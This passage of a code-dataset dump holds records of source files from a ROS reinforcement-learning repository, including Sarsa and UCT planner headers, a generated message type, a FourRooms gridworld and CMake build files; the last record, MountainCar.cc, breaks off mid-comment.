"alpha_fraction": 0.702464759349823, "alphanum_fraction": 0.702464759349823, "avg_line_length": 30.208791732788086, "blob_id": "d0578ffd421d58f693e792d73a41a8e1301f7942", "content_id": "bca3a96902f77125d7e56935e42fa5fbb44d2019", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2840, "license_type": "no_license", "max_line_length": 71, "num_lines": 91, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/include/rl_agent/Sarsa.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\File\n Interface for an implementation of the canonical Sarsa lambda\n algorithm. */\n\n#ifndef _SARSA_HH_\n#define _SARSA_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n#include <map>\n#include <set>\n#include <vector>\n\n/** Agent that uses straight Sarsa Lambda, with no generalization and\n epsilon-greedy exploration. */\nclass Sarsa: public Agent {\npublic:\n /** Standard constructor\n \\param numactions The number of possible actions\n \\param gamma The discount factor\n \\param initialvalue The initial value of each Q(s,a)\n \\param alpha The learning rate\n \\param epsilon The probability of taking a random action\n \\param rng Initial state of the random number generator to use */\n Sarsa(int numactions, float gamma,\n float initialvalue, float alpha, float epsilon, float lambda, \n Random rng = Random());\n\n /** Unimplemented copy constructor: internal state cannot be simply\n copied. */\n Sarsa(const Sarsa &);\n\n virtual ~Sarsa();\n\n virtual int first_action(const std::vector<float> &s);\n virtual int next_action(float r, const std::vector<float> &s);\n virtual void last_action(float r);\n virtual void setDebug(bool d);\n virtual void seedExp(std::vector<experience>);\n virtual void savePolicy(const char* filename);\n\n void printState(const std::vector<float> &s);\n float getValue(std::vector<float> state);\n \n std::vector<float>::iterator random_max_element(\n\t\t\t\t\t\t std::vector<float>::iterator start,\n\t\t\t\t\t\t std::vector<float>::iterator end);\n\n void logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax);\n\nprotected:\n /** The implementation maps all sensations to a set of canonical\n pointers, which serve as the internal representation of\n environment state. */\n typedef const std::vector<float> *state_t;\n\n /** Produces a canonical representation of the given sensation.\n \\param s The current sensation from the environment.\n \\return A pointer to an equivalent state in statespace. */\n state_t canonicalize(const std::vector<float> &s);\n\nprivate:\n /** Set of all distinct sensations seen. Pointers to elements of\n this set serve as the internal representation of the environment\n state. */\n std::set<std::vector<float> > statespace;\n\n /** The primary data structure of the learning algorithm, the value\n function Q. For state_t s and int a, Q[s][a] gives the\n learned maximum expected future discounted reward conditional on\n executing action a in state s. */\n std::map<state_t, std::vector<float> > Q;\n std::map<state_t, std::vector<float> > eligibility;\n\n const int numactions;\n const float gamma;\n\n const float initialvalue;\n const float alpha;\n const float epsilon;\n const float lambda;\n\n Random rng;\n float *currentq;\n\n bool ACTDEBUG;\n bool ELIGDEBUG;\n};\n\n#endif\n" }, { "alpha_fraction": 0.7648809552192688, "alphanum_fraction": 0.7648809552192688, "avg_line_length": 32.599998474121094, "blob_id": "6120e4166c1ec91d795c74fb66ee519d410d525c", "content_id": "3d3c8cb53d9e4edc0c26107897b04145628bec13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 336, "license_type": "no_license", "max_line_length": 71, "num_lines": 10, "path": "/build/ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/gps_plugin.dir/src/GpsPlugin.cpp.o\"\n \"/home/justin/ros_test/devel/lib/libgps_plugin.pdb\"\n \"/home/justin/ros_test/devel/lib/libgps_plugin.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/gps_plugin.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.57459557056427, "alphanum_fraction": 0.5775913596153259, "avg_line_length": 25.492063522338867, "blob_id": "a9a00a8edb6278bcf8134697d6f1a3ca0f1648c4", "content_id": "64a6bdb43f52534d51e955dcc2486b5e3e59fa58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3338, "license_type": "no_license", "max_line_length": 142, "num_lines": 126, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/MBS.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include \"MBS.hh\"\n#include <algorithm>\n\n//#include <time.h>\n#include <sys/time.h>\n\n\nMBS::MBS(int numactions, float gamma,\n int MAX_LOOPS, float MAX_TIME, int modelType,\n const std::vector<float> &fmax, \n const std::vector<float> &fmin, \n const std::vector<int> &n, \n const int k, Random newRng):\n k(k)\n{\n \n vi = new ValueIteration(numactions, gamma, MAX_LOOPS, MAX_TIME, modelType,\n fmax, fmin, n, newRng);\n DELAYDEBUG = false; //true;\n seedMode = false;\n\n if (DELAYDEBUG) cout << \"MBS delay planner with k = \" << k << endl;\n}\n\nMBS::~MBS() {\n delete vi;\n}\n\nvoid MBS::setModel(MDPModel* m){\n vi->setModel(m);\n model = m;\n}\n\n\n/** Use the latest experience to update state info and the model. */\nbool MBS::updateModelWithExperience(const std::vector<float> &laststate,\n int lastact,\n const std::vector<float> &currstate,\n float reward, bool term){\n\n if (seedMode) return false;\n \n // add this action to our history list\n if (DELAYDEBUG) cout << \"add new action \" << lastact << \" to list\" << endl;\n actHistory.push_back(lastact);\n \n if (actHistory.size() > k){\n int effectiveAction = actHistory.front();\n actHistory.pop_front();\n \n // if history size is >= k\n // then we can add this experience\n if (DELAYDEBUG){\n cout << \"update with old act: \" << effectiveAction << endl;\n cout << \"from: \" << laststate[0] << \", \" << laststate[1];\n cout << \" to: \" << currstate[0] << \", \" << currstate[1];\n cout << \" reward: \" << reward << \" term: \" << term << endl;\n }\n \n\n return vi->updateModelWithExperience(laststate, effectiveAction,\n currstate, reward, term);\n }\n\n return false;\n\n}\n\n\n/** Choose the next action */\nint MBS::getBestAction(const std::vector<float> &state){\n std::vector<float> statePred = state;\n\n // figure out what state we think we're in\n for (unsigned i = 0; i < actHistory.size(); i++){\n if (DELAYDEBUG) cout << i << \" prediction: \" \n << statePred[0] << \", \" << statePred[1] \n << \" pred for act: \" << actHistory[i] << endl;\n StateActionInfo prediction;\n model->getStateActionInfo(statePred, actHistory[i], &prediction);\n\n // find most likely next state\n std::vector<float> possibleNext;\n float maxProb = -1;\n for (std::map<std::vector<float>, float>::iterator it = prediction.transitionProbs.begin(); it != prediction.transitionProbs.end(); it++){\n \n float prob = (*it).second;\n if (prob > maxProb){\n possibleNext = (*it).first;\n maxProb = prob;\n }\n }\n statePred = possibleNext;\n\n }\n if (DELAYDEBUG) cout << \"predict current state is \" << statePred[0] << \", \" << statePred[1] << endl;\n \n // call get best action for that state\n int act = vi->getBestAction(statePred);\n\n if (DELAYDEBUG) cout << \"best action is \" << act << endl << endl;\n\n return act;\n\n}\n\n\nvoid MBS::planOnNewModel(){\n vi->planOnNewModel();\n}\n\nvoid MBS::savePolicy(const char* filename){\n vi->savePolicy(filename);\n}\n\nvoid MBS::setSeeding(bool seeding){\n\n seedMode = seeding;\n\n}\n\n\nvoid MBS::setFirst(){ \n // first action, reset history vector\n actHistory.clear();\n}\n" }, { "alpha_fraction": 0.6966953277587891, "alphanum_fraction": 0.6996831297874451, "avg_line_length": 33.089508056640625, "blob_id": "ed4d1a7c1887cc41114eaadb6866fe67cf07b606", "content_id": "2190557f3ffcf6799c6d8315d6b01f461075933f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11046, "license_type": "no_license", "max_line_length": 345, "num_lines": 324, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/ParallelETUCT.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file ParallelETUCT.hh\n Defines my real-time model-based RL architecture which uses UCT with eligiblity traces for planning. \n The modified version of UCT used is presented in:\n L. Kocsis and C. Szepesvยดari, \"Bandit based monte-carlo planning,\" in\n ECML-06. Number 4212 in LNCS. Springer, 2006, pp. 282-293.\n The real-time architecture is presented in: \n Hester, Quinlan, and Stone, \"A Real-Time Model-Based Reinforcement Learning Architecture for Robot Control\", arXiv 1105.1749, 2011.\n \\author Todd Hester\n*/\n\n#ifndef _ParallelETUCT_HH_\n#define _ParallelETUCT_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <rl_common/ExperienceFile.hh>\n\n#include \"../Models/FactoredModel.hh\"\n#include \"../Models/C45Tree.hh\"\n\n#include <set>\n#include <vector>\n#include <map>\n#include <sstream>\n#include <deque>\n\n/** Parallel thread that continually does uct search from agent's current state. */\nvoid* parallelSearchStart(void* arg);\n\n/** Thread that loops, continually updating model with new experiences. */\nvoid* parallelModelLearningStart(void* arg);\n\n/** This class defines my real-time model-based RL architecture, which does model learning, planning, and acting on 3 separate threads. It uses a modified version of UCT for planning, which plans on a model using Monte Carlo rollouts. Unlike the original UCT, it does not separate values by tree depth, and it incorporates eligibility traces. */\nclass ParallelETUCT: public Planner {\npublic:\n\n\n /** Standard constructor\n \\param numactions, numactions in the domain\n \\param gamma discount factor\n \\param rrange range of one-step rewards in the domain\n \\param lambda for use with eligibility traces\n \\param MAX_ITER maximum number of MC rollouts to perform\n \\param MAX_TIME maximum amount of time to run Monte Carlo rollouts\n \\param MAX_DEPTH maximum depth to perform rollout to\n \\param modelType specifies model type\n \\param featmax maximum value of each feature\n \\param featmin minimum value of each feature\n \\param statesPerDim # of values to discretize each feature into\n \\param trackActual track actual real-valued states (or just discrete states)\n \\param historySize # of previous actions to use for delayed domains\n \\param rng random number generator\n */\n ParallelETUCT(int numactions, float gamma, float rrange, float lambda,\n int MAX_ITER, float MAX_TIME, int MAX_DEPTH, int modelType,\n const std::vector<float> &featmax, const std::vector<float> &featmin,\n const std::vector<int> &statesPerDim, bool trackActual, int historySize, Random rng = Random());\n \n /** Unimplemented copy constructor: internal state cannot be simply\n copied. */\n ParallelETUCT(const ParallelETUCT &);\n\n virtual ~ParallelETUCT();\n\n virtual void setModel(MDPModel* model);\n virtual bool updateModelWithExperience(const std::vector<float> &last, \n int act, \n const std::vector<float> &curr, \n float reward, bool term);\n virtual void planOnNewModel();\n virtual int getBestAction(const std::vector<float> &s);\n\n virtual void setSeeding(bool seed);\n virtual void setFirst();\n\n bool PLANNERDEBUG;\n bool POLICYDEBUG; //= false; //true;\n bool MODELDEBUG;\n bool ACTDEBUG;\n bool UCTDEBUG;\n bool PTHREADDEBUG;\n bool ATHREADDEBUG;\n bool MTHREADDEBUG;\n bool TIMINGDEBUG;\n bool REALSTATEDEBUG;\n bool HISTORYDEBUG;\n\n /** MDPModel that we're using with planning */\n MDPModel* model;\n\n /** Copy of our model used when updating the model, so the original can still be queried by the other threads. */\n MDPModel* modelcopy;\n\n /** The implementation maps all sensations to a set of canonical\n pointers, which serve as the internal representation of\n environment state. */\n typedef const std::vector<float> *state_t;\n\n ///////////////////////////////\n // parallel stuff\n ///////////////////////////////\n\n // tell if thread started\n bool modelThreadStarted;\n bool planThreadStarted;\n\n /** Thread that performs planning using UCT. */\n pthread_t planThread;\n\n /** Thread that performs model updates. */\n pthread_t modelThread;\n\n // some variables that are locked\n /** List of experiences from action thread to be added into model */\n std::vector<experience> expList;\n\n /** Agent's current discrete state that UCT rollouts should start from. */\n state_t discPlanState;\n \n /** Agent's current actual real-valued state that UCT rollouts should start from. */\n std::vector<float> actualPlanState;\n\n /** Canonical pointer to agent's current state that UCT rollouts should start from. */\n state_t startState;\n\n // lock over simple objects\n /** Mutex around the last frame that the model was updated. */\n pthread_mutex_t update_mutex;\n /** Mutex around the agent's current state to plan from. */\n pthread_mutex_t plan_state_mutex;\n /** Mutex around the model. */\n pthread_mutex_t model_mutex;\n /** Mutex around the list of experiences to be added to the model. */\n pthread_mutex_t list_mutex;\n /** Mutex around the history of previous actions of the agent. */\n pthread_mutex_t history_mutex;\n /** Mutex around the counter of how many actions the agent has taken. */\n pthread_mutex_t nactions_mutex;\n\n /** Mutex around the set of states. */\n pthread_mutex_t statespace_mutex;\n\n // condition for when list is updated\n pthread_cond_t list_cond; \n\n /** Perform UCT/Monte Carlo rollout from the given state.\n If terminal or at depth, return some reward.\n Otherwise, select an action based on UCB.\n Simulate action to get reward and next state.\n Call search on next state at depth+1 to get reward return from there on.\n Update q value towards new value: reward + gamma * searchReturn\n Update visit counts for confidence bounds\n Return q\n \n From \"Bandit Based Monte Carlo Planning\" by Kocsis and Szepesvยดari.\n */\n float uctSearch(const std::vector<float> &actS, state_t state, int depth, std::deque<float> &history);\n\n /** Select a random previously visited state. */\n std::vector<float> selectRandomState();\n\n /** Start the parallel model learning thread. */\n void parallelModelLearning();\n\n /** Start the parallel UCT planning thread. */\n void parallelSearch();\n\n /** Load a policy from a file. */\n void loadPolicy(const char* filename);\n\n /** Output value function to a file */\n void logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax);\n\n /** Add two vectors together. */\n std::vector<float> addVec(const std::vector<float> &a, const std::vector<float> &b);\n\n /** Subtract two vectors. */\n std::vector<float> subVec(const std::vector<float> &a, const std::vector<float> &b);\n\nprotected:\n\n\n struct state_info;\n struct model_info;\n\n /** A struct that contains a vector of possible next state samples, weighted by their probabilities. */\n struct state_samples {\n std::vector<state_t> samples;\n };\n\n /** State info struct. Maintains visit counts, models, and q-values for state-actions. */\n struct state_info {\n\n // data filled in from models\n std::map< std::deque<float>, StateActionInfo>* historyModel;\n\n // q values from policy creation\n std::vector<float> Q;\n\n // uct experience data\n int uctVisits;\n std::vector<int> uctActions;\n short unsigned int visited;\n short unsigned int id;\n\n // needs update\n bool needsUpdate;\n\n // mutex for model info, samples, everything else\n pthread_mutex_t statemodel_mutex;\n pthread_mutex_t stateinfo_mutex;\n\n };\n\n\n\n /** Initialize state info struct */\n void initStateInfo(state_t s,state_info* info, int id);\n \n /** Produces a canonical representation of the given sensation.\n \\param s The current sensation from the environment.\n \\return A pointer to an equivalent state in statespace. */\n state_t canonicalize(const std::vector<float> &s);\n\n /** Delete a state_info struct */\n void deleteInfo(state_info* info);\n \n /** Compuate a policy from a model */\n void createPolicy();\n \n /** Print information for each state. */\n void printStates();\n \n /** Calculate which states are reachable from states the agent has actually visited. */\n void calculateReachableStates();\n \n /** Remove states from set that were deemed unreachable. */\n void removeUnreachableStates();\n\n /** Update the state_info copy of the model for the given state-action from the MDPModel */\n void updateStateActionFromModel(state_t s, int a, state_info* info);\n \n /** Update the state_info copy of the model for the given state-action and k-action history from the MDPModel. */\n void updateStateActionHistoryFromModel(const std::vector<float> modState, int a, StateActionInfo *newModel);\n\n /** Get the current time in seconds */\n double getSeconds();\n\n // uct stuff\n /** Reset UCT visit counts to some baseline level (to decrease our confidence in q-values because model has changed. */\n void resetAndUpdateStateActions();\n \n /** Return a sampled state from the next state distribution of the model. \n Simulate the next state from the given state, action, and possibly history of past actions. */\n std::vector<float> simulateNextState(const std::vector<float> &actS, state_t state, state_info* info, const std::deque<float> &history, int action, float* reward, bool* term);\n \n /** Select UCT action based on UCB1 algorithm. */\n int selectUCTAction(state_info* info);\n \n /** Canonicalize all the next states predicted by this model. */\n void canonNextStates(StateActionInfo* modelInfo);\n\n /** Initialize the states for this domain (based on featmin and featmax) */\n void initStates();\n \n /** Fill in a state based on featmin and featmax */\n void fillInState(std::vector<float>s, int depth);\n\n virtual void savePolicy(const char* filename);\n \n /** Return a discretized version of the input state. */\n std::vector<float> discretizeState(const std::vector<float> &s);\n\nprivate:\n\n /** Set of all distinct sensations seen. Pointers to elements of\n this set serve as the internal representation of the environment\n state. */\n std::set<std::vector<float> > statespace;\n\n /** Hashmap mapping state vectors to their state_info structs. */\n std::map<state_t, state_info> statedata;\n\n std::vector<float> featmax;\n std::vector<float> featmin;\n\n /** Current history of previous actions. */\n std::deque<float> saHistory;\n\n state_t prevstate;\n int prevact;\n state_info* previnfo;\n\n double planTime;\n double initTime;\n double setTime;\n bool seedMode;\n\n int nstates;\n int nsaved;\n int nactions;\n int lastUpdate;\n\n bool timingType;\n\n const int numactions;\n const float gamma;\n const float rrange;\n const float lambda;\n\n const int MAX_ITER;\n const float MAX_TIME;\n const int MAX_DEPTH;\n const int modelType;\n const std::vector<int> &statesPerDim;\n const bool trackActual;\n const int HISTORY_SIZE;\n const int HISTORY_FL_SIZE;\n\n const unsigned CLEAR_SIZE;\n ExperienceFile expfile;\n};\n\n#endif\n" }, { "alpha_fraction": 0.6664590835571289, "alphanum_fraction": 0.6772947907447815, "avg_line_length": 28.302919387817383, "blob_id": "dbcd0028e3d7daaf31dfe877586eb43391a59103", "content_id": "0e7aada902d45bd77880e42561ee4c2103727513", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8029, "license_type": "no_license", "max_line_length": 441, "num_lines": 274, "path": "/devel/include/rl_msgs/RLEnvDescription.h", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "// Generated by gencpp from file rl_msgs/RLEnvDescription.msg\n// DO NOT EDIT!\n\n\n#ifndef RL_MSGS_MESSAGE_RLENVDESCRIPTION_H\n#define RL_MSGS_MESSAGE_RLENVDESCRIPTION_H\n\n\n#include <string>\n#include <vector>\n#include <map>\n\n#include <ros/types.h>\n#include <ros/serialization.h>\n#include <ros/builtin_message_traits.h>\n#include <ros/message_operations.h>\n\n\nnamespace rl_msgs\n{\ntemplate <class ContainerAllocator>\nstruct RLEnvDescription_\n{\n typedef RLEnvDescription_<ContainerAllocator> Type;\n\n RLEnvDescription_()\n : num_actions(0.0)\n , num_states(0.0)\n , min_state_range()\n , max_state_range()\n , max_reward(0.0)\n , reward_range(0.0)\n , stochastic(false)\n , episodic(false)\n , title() {\n }\n RLEnvDescription_(const ContainerAllocator& _alloc)\n : num_actions(0.0)\n , num_states(0.0)\n , min_state_range(_alloc)\n , max_state_range(_alloc)\n , max_reward(0.0)\n , reward_range(0.0)\n , stochastic(false)\n , episodic(false)\n , title(_alloc) {\n (void)_alloc;\n }\n\n\n\n typedef float _num_actions_type;\n _num_actions_type num_actions;\n\n typedef float _num_states_type;\n _num_states_type num_states;\n\n typedef std::vector<float, typename ContainerAllocator::template rebind<float>::other > _min_state_range_type;\n _min_state_range_type min_state_range;\n\n typedef std::vector<float, typename ContainerAllocator::template rebind<float>::other > _max_state_range_type;\n _max_state_range_type max_state_range;\n\n typedef float _max_reward_type;\n _max_reward_type max_reward;\n\n typedef float _reward_range_type;\n _reward_range_type reward_range;\n\n typedef uint8_t _stochastic_type;\n _stochastic_type stochastic;\n\n typedef uint8_t _episodic_type;\n _episodic_type episodic;\n\n typedef std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > _title_type;\n _title_type title;\n\n\n\n\n\n typedef boost::shared_ptr< ::rl_msgs::RLEnvDescription_<ContainerAllocator> > Ptr;\n typedef boost::shared_ptr< ::rl_msgs::RLEnvDescription_<ContainerAllocator> const> ConstPtr;\n\n}; // struct RLEnvDescription_\n\ntypedef ::rl_msgs::RLEnvDescription_<std::allocator<void> > RLEnvDescription;\n\ntypedef boost::shared_ptr< ::rl_msgs::RLEnvDescription > RLEnvDescriptionPtr;\ntypedef boost::shared_ptr< ::rl_msgs::RLEnvDescription const> RLEnvDescriptionConstPtr;\n\n// constants requiring out of line definition\n\n\n\ntemplate<typename ContainerAllocator>\nstd::ostream& operator<<(std::ostream& s, const ::rl_msgs::RLEnvDescription_<ContainerAllocator> & v)\n{\nros::message_operations::Printer< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >::stream(s, \"\", v);\nreturn s;\n}\n\n} // namespace rl_msgs\n\nnamespace ros\n{\nnamespace message_traits\n{\n\n\n\n// BOOLTRAITS {'IsFixedSize': False, 'IsMessage': True, 'HasHeader': False}\n// {'rl_msgs': ['/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg'], 'std_msgs': ['/opt/ros/melodic/share/std_msgs/cmake/../msg']}\n\n// !!!!!!!!!!! ['__class__', '__delattr__', '__dict__', '__doc__', '__eq__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_parsed_fields', 'constants', 'fields', 'full_name', 'has_header', 'header_present', 'names', 'package', 'parsed_fields', 'short_name', 'text', 'types']\n\n\n\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLEnvDescription_<ContainerAllocator> const>\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLEnvDescription_<ContainerAllocator> const>\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLEnvDescription_<ContainerAllocator> const>\n : FalseType\n { };\n\n\ntemplate<class ContainerAllocator>\nstruct MD5Sum< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"41ee0d621b8031a958ff6d1f587a3860\";\n }\n\n static const char* value(const ::rl_msgs::RLEnvDescription_<ContainerAllocator>&) { return value(); }\n static const uint64_t static_value1 = 0x41ee0d621b8031a9ULL;\n static const uint64_t static_value2 = 0x58ff6d1f587a3860ULL;\n};\n\ntemplate<class ContainerAllocator>\nstruct DataType< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"rl_msgs/RLEnvDescription\";\n }\n\n static const char* value(const ::rl_msgs::RLEnvDescription_<ContainerAllocator>&) { return value(); }\n};\n\ntemplate<class ContainerAllocator>\nstruct Definition< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"# Message that contains details about an RL enviroment/task\\n\\\nfloat32 num_actions\\n\\\nfloat32 num_states\\n\\\n\\n\\\n#Optional information to describe the range of a continous state\\n\\\n#Some RL algorithms may need this to discretize the state space\\n\\\nfloat32[] min_state_range\\n\\\nfloat32[] max_state_range\\n\\\n\\n\\\n#Info needed for r-max some other methods\\n\\\nfloat32 max_reward\\n\\\nfloat32 reward_range\\n\\\n\\n\\\nbool stochastic\\n\\\nbool episodic\\n\\\nstring title\\n\\\n\";\n }\n\n static const char* value(const ::rl_msgs::RLEnvDescription_<ContainerAllocator>&) { return value(); }\n};\n\n} // namespace message_traits\n} // namespace ros\n\nnamespace ros\n{\nnamespace serialization\n{\n\n template<class ContainerAllocator> struct Serializer< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >\n {\n template<typename Stream, typename T> inline static void allInOne(Stream& stream, T m)\n {\n stream.next(m.num_actions);\n stream.next(m.num_states);\n stream.next(m.min_state_range);\n stream.next(m.max_state_range);\n stream.next(m.max_reward);\n stream.next(m.reward_range);\n stream.next(m.stochastic);\n stream.next(m.episodic);\n stream.next(m.title);\n }\n\n ROS_DECLARE_ALLINONE_SERIALIZER\n }; // struct RLEnvDescription_\n\n} // namespace serialization\n} // namespace ros\n\nnamespace ros\n{\nnamespace message_operations\n{\n\ntemplate<class ContainerAllocator>\nstruct Printer< ::rl_msgs::RLEnvDescription_<ContainerAllocator> >\n{\n template<typename Stream> static void stream(Stream& s, const std::string& indent, const ::rl_msgs::RLEnvDescription_<ContainerAllocator>& v)\n {\n s << indent << \"num_actions: \";\n Printer<float>::stream(s, indent + \" \", v.num_actions);\n s << indent << \"num_states: \";\n Printer<float>::stream(s, indent + \" \", v.num_states);\n s << indent << \"min_state_range[]\" << std::endl;\n for (size_t i = 0; i < v.min_state_range.size(); ++i)\n {\n s << indent << \" min_state_range[\" << i << \"]: \";\n Printer<float>::stream(s, indent + \" \", v.min_state_range[i]);\n }\n s << indent << \"max_state_range[]\" << std::endl;\n for (size_t i = 0; i < v.max_state_range.size(); ++i)\n {\n s << indent << \" max_state_range[\" << i << \"]: \";\n Printer<float>::stream(s, indent + \" \", v.max_state_range[i]);\n }\n s << indent << \"max_reward: \";\n Printer<float>::stream(s, indent + \" \", v.max_reward);\n s << indent << \"reward_range: \";\n Printer<float>::stream(s, indent + \" \", v.reward_range);\n s << indent << \"stochastic: \";\n Printer<uint8_t>::stream(s, indent + \" \", v.stochastic);\n s << indent << \"episodic: \";\n Printer<uint8_t>::stream(s, indent + \" \", v.episodic);\n s << indent << \"title: \";\n Printer<std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > >::stream(s, indent + \" \", v.title);\n }\n};\n\n} // namespace message_operations\n} // namespace ros\n\n#endif // RL_MSGS_MESSAGE_RLENVDESCRIPTION_H\n" }, { "alpha_fraction": 0.699404776096344, "alphanum_fraction": 0.699404776096344, "avg_line_length": 24.627119064331055, "blob_id": "fff286fa5a74767a9e0516e8aebc92df60e3addd", "content_id": "680b0953284cb08534df0ddf4fa43eb944b51307", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3024, "license_type": "no_license", "max_line_length": 91, "num_lines": 118, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/fourrooms.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _FOURROOMS_H_\n#define _FOURROOMS_H_\n\n#include <set>\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include \"gridworld.hh\"\n\n/*\ninline ostream &operator<<(ostream &out, const room_action_t &a) {\n switch(a) {\n case NORTH: return out << \"NORTH\";\n case SOUTH: return out << \"SOUTH\";\n case EAST: return out << \"EAST\";\n case WEST: return out << \"WEST\";\n }\n return out;\n}\n*/\n\nclass FourRooms: public Environment {\npublic:\n /** Creates a FourRooms domain using the specified map.\n \\param rand Random number generator to use.\n \\param gridworld The map to use.\n \\param stochastic Whether to use nondeterministic actions. */\n FourRooms(Random &rand, const Gridworld *gridworld, bool stochastic);\n\n /** Creates a deterministic FourRooms domain.\n \\param rand Random number generator used solely for random\n initial states. \n \\param negReward Whether negative rewards are on/off.\n */\n FourRooms(Random &rand);\n\n /** Creates a possibly noisy FourRooms domain. */\n FourRooms(Random &rand, bool stochastic, bool negReward, bool exReward);\n\n /** Creates a possibly noisy FourRooms domain with distances to walls. */\n FourRooms(Random &rand, bool stochastic, bool negReward);\n\n /** Creates a Four Rooms domain with distance and reward distances */\n FourRooms(Random &rand, bool stochastic);\n\n /** Creates a random FourRooms domain of the given size. */\n FourRooms(Random &rand, unsigned width, unsigned height, bool stochastic);\n\n virtual ~FourRooms();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n virtual bool terminal() const;\n virtual void reset();\n\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual void getMinMaxReward(float* minR, float* maxR);\n\n const Gridworld &gridworld() const { return *grid; }\n\n friend std::ostream &operator<<(std::ostream &out, const FourRooms &rooms);\n\n std::vector<std::vector<float> > getSubgoals();\n void calcWallDistances();\n\n void setSensation(std::vector<float> newS);\n\nprotected:\n typedef std::pair<float,float> coord_t;\n enum room_action_t {NORTH, SOUTH, EAST, WEST};\n\nprivate:\n const Gridworld *const grid;\n coord_t goal;\n\n const bool negReward;\n const bool noisy;\n const bool extraReward;\n const bool rewardSensor;\n\n Random &rng;\n\n coord_t doorway;\n\n std::vector<float> s;\n std::vector<float> unused;\n\n float &ns;\n float &ew;\n\n float &distN;\n float &distS;\n float &distE;\n float &distW;\n\n float &rewardEW;\n float &rewardNS;\n\n const bool goalOption;\n\n const Gridworld *create_default_map();\n\n /** Corrupts a movement action.\n \\param action The intended action\n \\return The action actually executed */\n room_action_t add_noise(room_action_t action);\n\n /** Randomly assigns the goal to any random \n position in the world. */\n void randomize_goal();\n\n /** Return the correct reward based on the current state. */\n float reward(int effect);\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7690058350563049, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 17.052631378173828, "blob_id": "83f94f19fedef334c928a152cb1d32ba6167c8fd", "content_id": "0d699c0b65c0d795fa3805f6dbff7b17bee6ee04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 342, "license_type": "no_license", "max_line_length": 63, "num_lines": 19, "path": "/src/state_space_example/CMakeLists.txt", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(state_space_example)\n\nfind_package(catkin REQUIRED COMPONENTS\n roscpp\n tf\n visualization_msgs\n)\n\ncatkin_package()\n\ninclude_directories(\n ${catkin_INCLUDE_DIRS}\n)\n\nadd_executable(state_space_example src/state_space_example.cpp)\ntarget_link_libraries(state_space_example\n ${catkin_LIBRARIES}\n)" }, { "alpha_fraction": 0.5288340449333191, "alphanum_fraction": 0.5650969743728638, "avg_line_length": 16.727678298950195, "blob_id": "dc226f28144a528a96707845e72b55a676617826", "content_id": "27b0d631bc902b407e1a48bed5140e8e8ba626d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3971, "license_type": "no_license", "max_line_length": 82, "num_lines": 224, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/MountainCar.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file MountainCar.cc\n Implements the Mountain Car domain, with possible action delays or linearized \n transition dynamics.\n \\author Todd 